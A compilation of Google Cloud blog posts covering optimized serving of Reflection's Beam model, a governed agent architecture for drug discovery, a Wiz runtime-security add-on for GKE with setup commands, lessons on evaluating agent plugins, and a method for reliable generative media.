Cloud Blog

Day 0 support for Reflection’s Beam on Google Cloud: 5x faster perf with llm-d and NVIDIA Dynamo

Fri, 16 Oct 2026 17:00:00 +0000

Today, Reflection released Beam, its first open-weight model built to give developers, researchers, and enterprises open control and customization for frontier software engineering and long-horizon agentic tasks. Released under a permissive Apache 2.0 license with BF16, FP8, and NVFP4 checkpoints available at launch, Beam sets a new standard for inference efficiency in the 500B-parameter class by solving complex reasoning and coding problems with 3x to 4x higher reasoning compute efficiency than comparable open models.

Alongside today’s release, Google Cloud is announcing day 0 support and ready-to-run deployment recipes for serving Beam on Google Cloud AI Hypercomputer and NVIDIA AI Infrastructure.

To help developers get the full benefit of Beam’s token efficiency in production, we worked with Reflection to optimize performance of the underlying serving stack using llm-d (with vLLM) and NVIDIA Dynamo (with SGLang) on Google Cloud:

"By deploying our Beam model on Google Cloud, we achieved up to 5x higher performance and 8x lower latency to optimize serving of agentic workloads." - Joe Spisak, VP of Product & Head of Open Source, Reflection

With today’s day 0 release on Google Cloud, developers get:

Compounding model and system efficiency: Combining Beam’s 3x to 4x reasoning compute efficiency with system-level optimizations on A4X Max instances (NVIDIA GB300 NVL72) for up to 5x higher throughput and 8x lower latency,* and G4 VMs (NVIDIA RTX PRO 6000) for up to 2x higher throughput and 8x lower latency.*
High-efficiency multi-turn serving: KV-cache-aware routing, prefill/decode disaggregation, speculative decoding and hierarchical KV cache offloading to Host DRAM and Local SSD reduce redundant prompt recomputation across long coding sessions.
Turnkey optimized deployment: Our recommended performance optimized recipes for agentic workloads with llm-d and NVIDIA Dynamo are available in AI-Hypercomputer/gpu-recipes, llm-d repo and Model Garden in Gemini platform with a few clicks.

*Based on customer benchmarking

Scaling inference requires system-level optimization

When evaluating models for agentic coding and tool use, inference efficiency happens at two distinct layers: how efficiently the model reasons and how efficiently the serving system executes multi-turn loops.

Model-level efficiency: Reflection’s Beam

Reflection designed Beam (~501B total parameters with ~23B active parameters per token, and an approximately 1M-token context window) specifically for text-native software engineering and multi-step tool use. It plugs directly into the coding harnesses developers already use, including Reflection’s Mirror CLI, Claude Code, Hermes, OpenCode, and , to resolve GitHub issues, run CLI and DevOps workflows, and complete long-horizon tasks.

Because Beam activates only 23B parameters per token and reaches solutions using 3x to 4x fewer reasoning tokens than other comparable open weight models, it dramatically reduces the inference-time compute required for each reasoning step.

System-level efficiency: AI Hypercomputer optimized serving

Once developers deploy an agent into production, a second set of bottlenecks could appear at the serving layer. In an agentic coding loop, the model is called dozens of times in a single session. With every turn, the coding harness appends new file reads, code diffs, compiler logs, and tool outputs to a shared conversation history that quickly grows to tens or hundreds of thousands of tokens.

Even when the model itself generates 3x to 4x fewer reasoning tokens on each turn, the accumulated context window across turns creates two major infrastructure challenges:

First, prefill compute becomes a bottleneck. Standard Kubernetes load balancers distribute requests using stateless round-robin routing. When a coding harness sends Turn 15 of a session, it often lands on a different replica than Turn 14. That replica is forced to recompute the entire historical prompt from scratch, wasting GPU compute and creating long prefill queues that delay other users.

Second, decode becomes bottlenecked by KV cache capacity. Holding long-context KV caches for dozens of concurrent agent sessions quickly fills up GPU High-Bandwidth Memory (HBM). Once HBM fills up, the serving engine has to evict older KV blocks. As soon as those blocks are evicted, cache hit rates drop and GPU throughput stalls.

To preserve Beam’s model-level efficiency at cluster scale, the serving stack has to be optimized as a distributed system. That is why our recipes pair Beam with llm-d (with vLLM) and NVIDIA Dynamo (with SGLang).

Inside the AI Hypercomputer inference architecture

To run Beam’s BF16, FP8, and NVFP4 checkpoints at peak efficiency on Day 0, we designed a vertically integrated architecture on AI Hypercomputer where each layer handles a specific part of the agentic serving lifecycle.

System optimized architecture for serving agentic traffic

Rather than treating inference pods as stateless endpoints, each layer of the stack is co-designed around the multi-turn agent lifecycle:

Prefix- and load-aware routing (GKE + llm-d EPP / Dynamo router): Tracks cached prefixes and queue depth across worker pods, steering each follow-up turn from a coding harness to the replica holding its warm KV prefix while preventing queue saturation via turn-priority flow control.
Disaggregated compute and speculative decoding (A4X Max & G4 instance): Runs vLLM and SGLang with native Blackwell NVFP4, Expert Parallelism (EP) for Beam’s 23B active experts, Data-Parallel Attention, and DFlash2 speculative decoding. Separating Prefill and Decode (P/D) pools ensures heavy prompt bursts never stall active token generation.
Tiered KV cache (GPU Memory -> DRAM & Local SSD) Active KV blocks stay in high-bandwidth GPU memory (Tier 1), while warm KV blocks evicted during long-horizon sessions overflow into host CPU DRAM and local NVMe SSDs (Tier 2) via vLLM’s OffloadingConnector or SGLang's HiCache, allowing historical context to be fetched in milliseconds instead of recomputed from scratch.

System optimizations for multi-turn agentic workloads

When serving multi-turn coding and tool-use workloads like the AgentX trajectory dataset across rising concurrency levels, each layer in the serving stack contributes to the performance and latency improvements for multi-turn, long context traffic patterns of agentic workloads:

A note on reading these charts. The two configurations are not comparable to each other. NVIDIA Dynamo ran on A4X Max instances with 32 x NVIDIA GB300 NVL72GPUs; llm-d ran on G4 VMs with 8 x NVIDIA RTX PRO 6000 GPUs. Each chart shows the gain over a baseline on the same hardware. More replicas give the router more warm KV caches to hit and more room to split prefill from decode, so the uplift grows with the deployment. Both llm-d and NVIDIA Dynamo scale up and down to match the underlying infrastructure.

NVIDIA Dynamo optimized perf vs baseline deployment of Reflection's Beam

llm-d optimized perf vs baseline deployment of Reflection's Beam

Across both platforms, layering these optimizations shifts the Pareto frontier to deliver higher output throughput and faster per-user interactivity simultaneously:

Baseline deployment (Stateless round-robin routing). In a standard Kubernetes deployment without prefix awareness, consecutive turns from the same coding session land on different replicas, forcing constant prefill recomputation on historical context and causing throughput to plateau as concurrency scales.
KV-cache-aware & flow control routing. Enabling prefix-aware routing in NVIDIA Dynamo or llm-d’s Sticky EPP with turn-priority flow control keeps multi-turn agent trajectories pinned to the replica holding their warm KV cache, immediately cutting Time-to-First-Token (TTFT) latency and freeing up GPU compute, resulting in a significant increase in token throughput.
Host DRAM and Local SSD (LSSD) KV offloading. Offloading evicted KV blocks from GPU memory into host DRAM and local NVMe SSDs prevents cache thrashing when dozens of long-context coding sessions exceed on-device GPU memory capacity.
Disaggregated serving, speculative decoding, and KV pool tuning. Tuning hybrid KV cache memory allocation, enabling speculative decoding, and disaggregating prefill and decode workers isolates token generation from heavy prompt bursts while the draft model multiplies output throughput to keep per-agent token interactivity fast.

Get started and meet us at PyTorchCon and GTC Berlin

This blog explored how you can leverage system level optimizations to scale performance to serve Reflection's Beam family of models for agentic workloads. All of the Kubernetes manifests, router configurations, and benchmarking scripts from this post are open-source and ready to run on your own GKE cluster.

Deploy the optimized stack: Explore the day 0 guides for running Reflection’s Beam with llm-d and NVIDIA Dynamo in the AI-Hypercomputer/gpu-recipes repository on A4X Max and G4, and Model Garden in Gemini platform.
Download the weights: Grab the Apache 2.0 BF16, FP8, and NVFP4 checkpoints on Reflection’s Hugging Face page.
Visit us at the llm-d and PyTorch Conference in San Jose: If you are attending PyTorch Conference North America in San Jose this October, stop by the llm-d community sessions and the Google Cloud booth #. We will be walking through live demos of KV-cache-aware routing, P/D disaggregation, and KV cache tiering for agentic workloads.
Come see us at NVIDIA GTC Berlin: If you are attending NVIDIA GTC Berlin, come connect with us at our booth #3026, or our Google Cloud Hub at w3.hub: just a short 5 minute walk from the venue. Learn more about our sessions.

Architecting autonomy: A design pattern for high-compute, governed agents in biotech

Fri, 16 Oct 2026 16:00:00 +0000

In production systems today, most AI agents operate as lightweight dispatchers. They parse a prompt, make an API call, retrieve a record, and hand back control. Their execution is fast, stateless and cheap. Biotechnology does not work this way.

Folding a protein target, screening a 50,000 compound ligand library, or evaluating structure-activity relationships (SAR) are not quick API lookups. They are sustained, stateful, GPU-bound simulations that run for minutes or even hours across specialized silicon. When you ask a general-purpose large language model (LLM) endpoint to coordinate a complex drug discovery workflow, the standard paradigm breaks: Timeouts occur, context windows overflow with atomic coordinates, and proprietary chemical Intellectual Property (IP) risks exposure to external networks.

Building enterprise grade research and development (R&D) agents requires moving past the monolithic assistant model. In this blog post, we will discuss how to use a three-layer architecture: separating cognitive orchestration (the brain) from computational execution (the muscle), and anchoring both inside an enterprise governance plane to build scalable agents for drug discovery use cases in biotech.

A three-layer pattern

The reference architecture below shows how to architect, optimize, and govern high-compute autonomous agents in biotechnology, specifically Drug Discovery.

Figure 1 — The three-layer pattern: a cognitive orchestrator (brain), a scalable GPU execution layer (muscle), and an enterprise governance plane.

The execution layer: scaling the muscle - high-compute execution

The execution layer is responsible for the heavy scientific computations. The first architectural decision is determining where workloads should run:

Strategic, proprietary pipelines require dedicated GPU infrastructure within your security perimeter
Routine or standardized workloads can safely be delegated to managed cloud endpoints

In this architecture, protein folding is driven by ESMFold and generative design by GenMol. Both run as NVIDIA Inference Microservices or NIMs deployed on Google Kubernetes Engine (GKE) using G4 VMs backed by NVIDIA RTX PRO 6000 Blackwell GPUs.

A critical hurdle in containerized GPU workloads is the cold-start penalty, the latency delay required to pull multi-gigabyte model weights from an image registry and stage them into GPU memory (VRAM).

To ensure low latency responsiveness, we build the following as a recommendation into the reference architecture:

Maintain warm pools: Pin the GKE node pool to a minimum of one active node.
Preload weights: Model weights are loaded directly into VRAM at pod initialization, ensuring containers are immediately ready for inference.
Resilient scheduling: GKE manages pod lifecycles and restarts failed instances without tearing down the underlying VM infrastructure.

This approach trades custom, manual CUDA kernel tuning for NVIDIA's pre-compiled, containerized runtimes, dramatically reducing infrastructure engineering overhead while ensuring deterministic throughput.

In biotech, chemical structures represent millions of dollars in proprietary IP. A docking request transmits SMILE strings or 3D coordinate matrices that must never leave company custody.

Containerized NIMs eliminate the friction between rapid prototyping and rigorous data isolation. During early exploration, researchers can query NVIDIA hosted endpoints. When transitioning to proprietary lead candidates, the exact same container is deployed to GKE inside a private VPC. The agent’s orchestration logic remains identical; only the target URI updates from an external proxy to an internal VPC endpoint. No structural data leaves the enterprise perimeter.

The cognitive layer: Multi-agent reasoning

With compute execution isolated, the cognitive layer manages agentic workflow sequencing. Built on Agent Runtime, within the Gemini platform, this reference architecture shows a system that deploys a hierarchical multi-agent structure, one lead orchestrator, and two specialized domain sub-agents (Lead Optimization and Safety Screening) . The multi-agent design can be modified to suit the use case at hand.

Based on this design, when an end-user submits a high-level task such as “ Analyze Candidate 4b against Target X and produce a SAR report”, the system applies four core orchestration patterns discussed below;

In-process native agent handoffs: The lead orchestrator delegates tasks to specialist sub-agents using Agent Runtime’s native SDK rather than network-serialized agent-to-agent HTTP protocols. This eliminates intermediate network hops and keeps internal handoffs instantaneous. Only the outermost boundary communicates outward to user-facing surfaces like the Gemini agent.
Passing bulky payloads by reference: LLMs degrade quickly when forced to ingest massive arrays of 3D spatial coordinates. In this architecture, raw structural data (PDB files, docking poses, trajectory logs) is written directly to Cloud Storage. Agents pass lightweight, signed object URIs and high-level structural summaries, keeping context windows compact and inference costs down.
Decoupling workflow logic from biochemical reasoning: General-purpose LLMs excel at task planning and synthesis, but are prone to hallucinating biochemical nuances. To control this behavior, this architecture maintains strong separation of concerns, namely, workflow and tasks decomposition are handled by Gemini. Domain chemistry and pharmacological reasoning are handled by specialized Nemotron models hosted on dedicated GPU nodes.
Context-driven evaluation over rigid cutoffs: Traditional computational screening enforces arbitrary numerical cutoffs (e.g., discard if binding affinity ,-7.5 kcal/mol) However, therapeutic context fundamentally alters risk tolerance. Preventive cardiovascular therapy taken daily by healthy patients requires extremely strict safety margins, or a novel oncology candidate targeting an intractable cancer may accept higher toxicity if efficacy is demonstrated.

By passing disease context directly into the specialized reasoning models, drug candidates are evaluated against dynamic, target-specific profiles rather than static thresholds, preventing the premature culling of viable drug leads.

Performance best practices for high-compute pipelines

Optimizing an agentic system that interfaces with heavy GPU compute requires challenging common engineering instincts:

Common Assumption	Architectural Reality	Recommended Best Practice
"Swap in a faster driver model to cut latency."	The primary orchestrator's token generation is rarely the bottleneck in multi-step R&D pipelines.	Optimize I/O, not token speed: Focus on reducing payload sizes and intermediate network hops rather than compromising orchestrator reasoning depth.
"Parallelize tool calls across workers."	External scientific services and containerized models often serialize requests internally on dedicated hardware.	Respect execution topology: Align client-side concurrency with backend queue mechanics to prevent pipeline lockouts and connection timeouts.
"Pass full simulation states between tools."	Large JSON bodies cause schema validation failures, prompt truncation, and token bloat.	Pass heavy payloads by reference: Store raw coordinates in object storage and pass lightweight URIs between agent boundaries.
"Return outputs only when the pipeline finishes."	Long multi-minute runs leave scientists blind to whether jobs are proceeding or stalled.	Stream intermediate stage completions: Emit progress updates at each completed milestone (e.g., folding complete, docking running) for real-time visibility.
"Chain multiple granular micro-tools."	Deep tool-chains increase the probability of hallucinated arguments and schema mismatches.	Collapse compute pipelines: Wrap end-to-end simulation pipelines behind a single, clean tool interface that takes clear parameters and returns a consolidated object.

The enterprise governance and asymmetric autonomy

Deploying high-compute agents in enterprise environments requires robust data sovereignty, audit trails, and process control. The Gemini platform establishes these safeguards natively with the following components:

Agent Identity: Every autonomous agent operates with a cryptographically verifiable identity. Thus, for a biotech use case, when a candidate molecule is advanced or rejected, the event is permanently logged to that specific agent principal.
Agent Gateway: This serves the single ingress/egress point for every interaction within the perimeter. Centralized IAM and regional residency rules help ensure sensitive molecular data remains within designated cloud regions.
Agent Registry: This feature maintains a curated catalog of approved agents, validated tool schemas, and authorized Model Context Protocol (MCP) servers, preventing rogue tools from executing in production.
Model Armor: This functionality inspects incoming prompts and outgoing payloads in real time to prevent prompt injection and data exfiltration.

The payoff is clear. Identity, RBAC, auditing, residency, and data protection are native properties of the Gemini platform; this allows enterprise customers to focus on science rather than having to build a compliance stack for every project.

In high-stakes research and development, full autonomy introduces unacceptable liability, while requiring approval for trivial steps can create frictions. The solution addressing this to use asymmetric gating in the following ways;

Automate reversible operations: For example, allow the agent to resolve chemical naming synonyms, pull structural PDBs, and run preliminary Lipinski screens autonomously without interrupting the researcher.

Gate irreversible operations: For instance, initiating multi-GPU docking run, advancing a lead compound to wet-lab synthesis, or archiving a therapeutic program must require explicit human sign-off.

The pattern, and the path forward

High-compute autonomous agents succeed when the boundaries between cognitive planning, numerical computation, and system governance are clean in the following ways:

Keep the orchestrator focused on decomposition and synthesis, leaving intensive biophysical simulation to specialized, containerized microservices and models.
Eliminate context bloat by passing complex chemical data by reference through cloud storage.
Anchor the workflow in enterprise governance, pairing cryptographic agent identity with asymmetric human oversight.

As generative and structural biology models expand toward whole-cell modeling and complex dynamic simulations, this decoupled architecture ensures research systems scale efficiently while keeping proprietary IP secure and auditable.

Reach out to your Google sales representative if you have any requirements to build a use case like this and we will be happy to talk and support you in your agent development journey on Google Cloud.

Announcing Wiz Runtime Sensor add-on for GKE: Turnkey threat detection for Kubernetes

Fri, 16 Oct 2026 16:00:00 +0000

Everything is moving faster in the age of AI, and that includes security threats. What used to take attackers weeks to exploit can now happen in just a few minutes.

Standard vulnerability scans that run on artifacts at rest can catch basic setup issues, but to detect an attack that's actively happening you need real-time runtime protection.

Today, we’re introducing the Wiz Runtime Sensor add-on for Google Kubernetes Engine (GKE), in preview. This built-in integration brings low-touch deployment, automated lifecycle management, enterprise credential security, and fleet-wide governance to Wiz's industry-leading eBPF runtime threat detection for both Standard and Autopilot GKE clusters.

The operational friction of runtime security

Security and platform engineering teams share common dilemmas when deploying in-cluster runtime defenses:

Deployment and lifecycle friction: Deploying runtime agents often requires managing installations from third-party sources across dozens or hundreds of clusters.
Credential sprawl and security risks: Passing and rotating API keys as Kubernetes Secrets introduces administrative overhead and security risk.
Fleet-wide enforcement gaps: Platform teams lack built-in policy controls to enforce that every new cluster has runtime sensors enabled before workloads are deployed and start receiving traffic.
Performance and operational overhead: Without explicit and strategic resource limits, runtime agents can impact how much CPU and memory is available for your workloads and system functionality.

With the Wiz Runtime Sensor for GKE, Google Cloud and Wiz have minimized these operational barriers. The Runtime Sensor is now available in GKE as a first-party, managed platform add-on.

Bridging the gap with Wiz Runtime Sensor for GKE

The Wiz Runtime Sensor for GKE connects central security and platform engineering workflows by simplifying and automating the sensor lifecycle.

Figure 1: High-level architecture showing credential sync, sensor deployment, and threat telemetry.

With the add-on, GKE manages the sensor deployment, credential injection, and lifecycle updates. Building runtime protection directly into the platform reduces administrative overhead and provides the following benefits for your Kubernetes fleet:

Native Secret Manager integration: Security teams no longer need to distribute Wiz API keys across cluster namespaces. The add-on uses GKE's Secret Manager secret sync integration to store your Wiz credentials in an off-cluster, centralized credential vault that only a dedicated service account can access.

GKE automatically retrieves the credentials and injects them directly into the Runtime Sensor pods. Updating a key in Secret Manager automatically syncs to the sensor without requiring cluster restarts or manual intervention.

Simplified enablement: After you add your Wiz credentials to Secret Manager, platform operators can enable the Runtime Sensor add-on by using the gcloud CLI or the GKE API. The GKE control plane handles deploying the sensor components, managing the lifecycle of pods, and configuring the nodes.
Secure egress and proxy support: For environments that restrict public internet access, the managed sensor supports standard HTTP and mTLS proxy configurations. Telemetry is routed back to Wiz without violating your egress firewall policies.
Fleet-wide governance with organization policy: Platform security leads can enforce compliance across their entire organization using custom organization policy constraints. You can use a constraint to reject any attempts to create a cluster that doesn't enable the Runtime Sensor add-on, which can prevent malicious actors from spinning up rogue infrastructure to evade runtime detection.
Kernel-level observability with minimal overhead: The Wiz Runtime Sensor continuously monitors system calls, running processes, network connections, and file access. It catches suspicious activity, including reverse shells, unauthorized privilege escalations, container escapes, and unsafe outbound connections while keeping CPU usage low even under heavy workload activity.

The sensor uses a fixed memory limit on each node to ensure consistent performance as workload density changes. This is especially valuable for AI workloads and web services where application activity might fluctuate quickly.
Independent auto-updates: Security threats and zero-day vulnerabilities don’t wait for scheduled infrastructure maintenance windows. The lifecycle of the Wiz sensor add-on for GKE is independent of your GKE cluster and node lifecycle.

The sensor periodically rolls out updates of new sensor versions published by Wiz, to help ensure that your clusters always have the latest detection rules without requiring GKE version bumps, node pool recreations, or workload disruption.

How it works: Deploying and enforcing the sensor

Enabling the Wiz sensor add-on follows the same process that platform administrators are already familiar with on GKE. Using standard gcloud commands, you can activate runtime protection during cluster creation, turn it on for existing clusters, and enforce it across your fleet while keeping credentials securely managed in Secret Manager.

Check the setup documentation for prerequisites, such as granting GKE access to Secret Manager.

Provisioning a cluster with the Wiz Sensor add-on

To provision a new GKE cluster with the managed Wiz sensor enabled using credentials stored in Secret Manager:

code_block: <ListValue: [StructValue([('code', 'gcloud container clusters create production-ai-cluster \\\r\n --zone=us-central1-a \\\r\n --release-channel=regular \\\r\n --workload-pool=${PROJECT_ID}.svc.id.goog \\\r\n --enable-secret-sync \\\r\n --enable-secret-sync-rotation \\\r\n --addons=WizSensor=ENABLED \\\r\n --wiz-sensor-registry-secret-uri=projects/${PROJECT_ID}/secrets/wiz-registry-secret/versions/latest \\\r\n --wiz-sensor-api-key-secret-uri=projects/${PROJECT_ID}/secrets/wiz-api-key-secret/versions/latest'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6202d0210>)])]>

To enable the sensor on an existing running cluster with Workload Identity Federation for GKE and Secret Manager secret sync enabled, run the following:

code_block: <ListValue: [StructValue([('code', 'gcloud container clusters update production-ai-cluster \\\r\n --zone=us-central1-a \\\r\n --update-addons=WizSensor=ENABLED \\\r\n --wiz-sensor-registry-secret-uri=projects/${PROJECT_ID}/secrets/wiz-registry-secret/versions/latest \\\r\n --wiz-sensor-api-key-secret-uri=projects/${PROJECT_ID}/secrets/wiz-api-key-secret/versions/latest'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6214ab510>)])]>

Enforcing fleet-wide protection with organization policy

You can require all new GKE clusters across your organization to install the runtime sensor by deploying a custom constraint:

code_block: <ListValue: [StructValue([('code', 'name: organizations/123456789012/customConstraints/custom.GKEWizSensorEnforced\r\nresource_types:\r\n - container.googleapis.com/Cluster\r\nmethod_types:\r\n - CREATE\r\n - UPDATE\r\ncondition: resource.addonsConfig.wizSensorConfig.enabled == true\r\naction_type: ALLOW\r\ndisplay_name: Enforce Wiz Sensor on All GKE Clusters\r\ndescription: Mandates that all GKE clusters enable the managed Wiz Runtime Sensor backed by the corporate Secret Manager vault.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6214abdd0>)])]>

Intelligent threat correlation for AI security

The true power of this integration emerges when the managed sensor connects to the broader Wiz AI Application Protection Platform (AI-APP). By feeding GKE runtime telemetry into the Wiz Security Graph, you unlock a security toolkit that goes beyond static alerting, with:

Real-time risk assessment and threat verification: By pairing background security scans with live activity monitoring, you get a clear view of real risks. The sensor checks whether vulnerable code is actually running in memory, so you can focus on active security threats and ignore inactive ones.
Real-time threat detection and response: Identify suspicious activity like malware, unauthorized access attempts, and software vulnerabilities in real time. Security teams can set rules to automatically block or stop threats before they can spread.
Network activity and detailed security insights: Track system activity, network connections, and data flows to uncover hidden risks and unauthorized software usage. If a threat is detected, the sensor automatically gathers diagnostic data to help teams quickly investigate what happened.

Together, these capabilities ensure that mission-critical applications and AI agents deployed on GKE are monitored for attacks and data exfiltration without compromising developer velocity.

Get started today

The Wiz Runtime Sensor add-on for GKE delivers a standard for container security: deep, kernel-level eBPF protection without operational complexity or deployment friction.

By combining GKE's managed platform automation with Wiz's comprehensive security intelligence, platform and security teams can innovate at cloud speed while maintaining strong runtime defense. Check out the Wiz Sensor for GKE documentation to learn more.

Four evaluation engineering lessons learned from building agent plugins

Fri, 16 Oct 2026 16:00:00 +0000

The real challenge of building an agentic system isn't the construction, it's the measurement.

Evaluation engineering is a critical foundation for building reliable AI systems. Setting up systematic, repeatable tests to measure your agent’s true behavior can be the difference between shipping a tool you can trust and one that silently breaks, fails to call APIs, or makes mistakes.

I’ve run evaluation engineering initiatives for years at Google and developing the newly released Google Cloud Developer plugin served as a live testbed to stress-test these key principles across real-world developer workflows.

Here are four eval lessons we learned from building the new plugin that you can apply to your own builds.

1. Grade the execution steps instead of the summary

When we first evaluated agents, we set up an LLM-as-judge to inspect the agent’s final text reply and scored it against a checklist. However, we quickly realized it’s fundamentally flawed because the grader only sees what the agent wrote, not what it actually did. When we ran our initial 11-prompt evaluation suite for the Google Cloud Developer plugin, the automated grader marked it as failing three prompts. But when we opened the raw tool-call logs and read the transcripts, the plugin had actually passed all three. On a Cloud Run cleanup prompt, for instance, our rubric required checking command syntax before running anything. The agent ran gcloud help run services list as its very first step. It did the work, but its final message was focused on warning the user about permanent data loss rather than reciting that it had checked the help docs.

The grader penalized the agent for doing the right thing simply because it didn’t brag about it in the summary. If your rubric line says "did it run X?", a LLM judge is guessing unless you evaluate the actual tool-call trajectory.

Takeaway: Don't grade an agent on its closing pitch. Score the raw execution trajectory to verify what commands were actually executed, validated, and scoped.

2. Design evals for asynchronous operations

When you start reading tool-call trajectories, how you extract that telemetry matters just as much as what you're reading. Extracting agent telemetry into a flattened, sequential list of events obscures concurrent tool dispatch, which is one of the critical causes of behavioral failure. Modern agent harnesses often batch multiple tool invocations into a single assistant turn using an array of calls.

In our evaluations, when an agent was asked to inspect an environment and look up documentation, the harness dispatched the skill-loading call and two documentation searches simultaneously within a single tool_calls payload. Because activating a skill is a multi-stage process, where the initial call returns a short launch stub and the subsequent turn injects the full instruction body, the instructions meant to govern the search arrived in the prompt context after the system had already executed the searches.

The system never gave the skill a dedicated turn to let its guidance influence the agent's actions. If telemetry pipelines strip out turn structures and merge calls into a flat timeline, engineers will waste days wondering why an agent disregarded unambiguous instructions that a developer embedded in a skill.

Takeaway: Preserve turn structure in telemetry extractors so you can identify when client-side parallel dispatch issues tool calls before injected guidance enters the context window.

3. Test live runs and "dry runs" side-by-side

You need to inspect real API calls to catch harness quirks, like parallel dispatch. But if you only test your agent in one environment condition, you're flying half-blind. From day one, you need to run two conditions side-by-side: a live run and a plan-only run. In the live condition, the agent has real, sandboxed credentials and actually executes commands. This is how you see if syntax works, parameters serialize cleanly, and the agent exercises restraint before doing something destructive.

Live runs frequently hit an unexpected permission error on step two and abort before you ever reach the behavior you’re trying to test. That's why you need the plan-only condition, where you strip credentials and tell the agent to explain what it would do without running anything. This strips out permission roadblocks and shows you the model’s pure reasoning and routing intent. Roughly half our most important findings came from the delta between the two.

For example, on one of our onboarding prompts, a live run was blocked immediately on a project list call. The plan-only run sailed right through and produced an 8,000-character plan that completely ignored organization policies, admin approvals, and governance. The live run masked a major cognitive flaw that the plan-only run exposed in seconds.

Takeaway: Run live and plan-only evaluations side by side. Live runs test actual execution and safety restraint; plan-only runs expose the model's raw reasoning and routing without getting tripped up by permission errors.

4. Use “golden sets” as durable baselines

Frontier model architectures change every few months, agent harnesses improve, and plugin manifest standards will inevitably evolve. When building the Google Cloud Developer plugin, we treated evaluations as continuous integration testing for these non-deterministic environments. That means we stress-tested the composite stack, including the harness, the live model, and the tools running together on realistic tasks.

Instead of guessing from the final text output, this approach captures the whole trajectory: what the agent thought, what commands it actually ran, and whether it solved the problem without breaking anything. Then you score that run against golden sets curated by real human experts who know what the ideal path looks like.

Takeaway: Build golden sets based on what the entire system should actually do in the wild, including your harness, model, and plugins. Models change, but those baseline runs are your safety net.

Reminder: Use evaluation suites over “one-shot” demos

A common mistake I see among engineers is what I like to call the one-shot demo. This is when someone feeds a prompt into a LLM, watches it build a complete 3D game or solves a Rubik’s cube in a single pass and calls it an eval. But in reality, this is just a vanity metric.

To do quality work with AI, I truly believe that you need evaluation suites. Without evaluations, teams are like literally running into a dark cave blind. Engineering an enterprise-grade agent means testing the system's ability to handle multi-step interactions, manage permissions, and avoid destructive outcomes like accidentally deleting a project because you asked it to "find opportunities to save costs."

Where to go from here

Building an agent plugin or MCP server is the beginning. Shipping something you can actually trust with real cloud infrastructure requires significantly more work in evaluations to ensure it’s doing what you expect it to do. At the end of the day, the only thing that outlasts model churn is a stress-tested eval suite. Check out the Google Cloud Developer plugin documentation or explore this codelab to get started with the plugin in Antigravity.

The SAVE method: Learn the fundamentals to engineer trustworthy generative media

Fri, 16 Oct 2026 16:00:00 +0000

Google Cloud Consulting works with organizations every day to build generative media that’s trustworthy, brand-aligned, and stands out. Instead of relying on clever or complicated prompting, we’ve identified four recurring basics to generate consistent results, what we call the “SAVE” method.

In this blog, we’ll share more about this method and how you can apply it to your own work.

S - Separate the researcher from the storyteller

If in a single prompt, if you’re requesting a technical summary, key product features, and an engaging video script all at once, you’re setting the model up to fail. Creative tasks require fluid language and pacing, while factual output requires constraint. Forcing both jobs into one context window will likely end with the model fabricating details to make the narrative flow better.

Instead of one prompt, consider splitting the work into specialized steps, like a researcher and a storyteller. Here’s how they might work together:

The researcher reads the source documents, extracts core claims, aligns with approved messaging, and outputs a structured brief (like a clean checklist or bulleted factsheet).

The storyteller then takes that verified brief and focuses purely on style, pacing, visual metaphors, and tone.

By decoupling research from your creative generation, your agent is never tasked with deciding what’s true, but how to make the truth more engaging and effective.

A - Approve verified facts only

If you hand a creative generative model documents that are unedited, it might mix up speculative ideas with business facts. The media generator should never have direct access to raw source files. It should only use verified, structured inputs. To avoid this:

Lock down core claims: Approved statements, product names, and concrete business outcomes should be fixed upstream rather than left for the model to extract on the spot.
Champion contextual packaging: Pass each fact along with its explicit constraints included. Examples may include things like "use this point in the opening statement" or "do not extrapolate beyond this approved bullet point."

This way, you ground the generation in verified facts and reduce the risk of unsupported claims entering the creative generation stage.

V - Verify before you render

Discovering a factual error in an animated video or rendered asset after the final export wastes both compute budget and turnaround time. The most effective human-in-the-loop checkpoint is right before generation begins.

To fix this, review the script and storyboard. Have product leads or legal teams sign off on the extracted facts, narrative outline, and voiceover text while it’s still simple, editable text. This way, you can catch errors early. Swapping an outdated feature name or fixing a typo takes two seconds in a text file.

Treat text as your testing ground. Once approved, generating the final media becomes a low-risk, predictable step.

E - Engineer guardrails into the system

Telling a model to “keep voiceover word count short, never reference unapproved topics, and format links correctly" in a prompt works until it doesn’t, and an edge case slips through. Relying on prompt obedience for brand safety is a gamble and can damage trust.

Where requirements can be checked deterministically, enforce them in the system rather than relying only on prompt instructions. For example, try these three actions first:

Programmatic boundary checks: Use standard code to validate word counts, verify that URLs are live and authorized, check colors against your brand palette, and format text strings.
Independent safety gates: Run automated filters outside the generation pipeline to catch policy violations or out-of-bounds claims before an asset is ever delivered.
Model modularity: When your safety and brand rules are set, you don't have to rewrite your entire governance playbook every time a newer, faster generative model is launched. You simply plug the new model into your existing, verified pipeline.

Generating studio-quality media shouldn't mean constantly worrying about what the model might fabricate next. The SAVE method shifts the burden of accuracy away from prompt phrasing and into the architecture where it belongs.

Apply the SAVE method yourself

Check out our generative media deep dive and learn how to architect trust across your generative media using Google Cloud tools and technologies.
Explore Google Cloud’s generative media suite, featuring cutting-edge models for studio-grade image, video, and sound generation.

What’s new with Google Cloud

Fri, 16 Oct 2026 16:00:00 +0000

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more.

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

aside_block: <ListValue: []>

Oct 12 - Oct 16

AI tokenomics in action: Enforcing tiered token budgets with Apigee
Scaling artificial intelligence across an enterprise requires clear token governance to keep LLM spend predictable across departments. Join Tarun Abraham on Thursday, November 5, 2026 for a Community TechTalk on AI tokenomics. Discover how to use Apigee to enforce isolated, tiered token budgets and model access for each team—such as assigning Engineering a dedicated budget for Gemini Pro while covering mixed usage for Marketing—without changing application code. Attendees will also gain access to a sample codebase featuring a reusable Shared Flow.

Register for the November 5 Community TechTalk

Sept 28 - Oct 2

Claude Sonnet 5.5 is now available on Google Cloud. Built for focused coding and knowledge work, it delivers stronger performance for feature development, and creating presentation-ready documents, while offering more intelligence with a lower cost per task for most work at faster speed.

Deploy Sonnet 5.5 directly from Model Garden with Google Cloud’s enterprise security, scale, and governance built in. Try it now.
Mastering Storage Management with Storage Intelligence
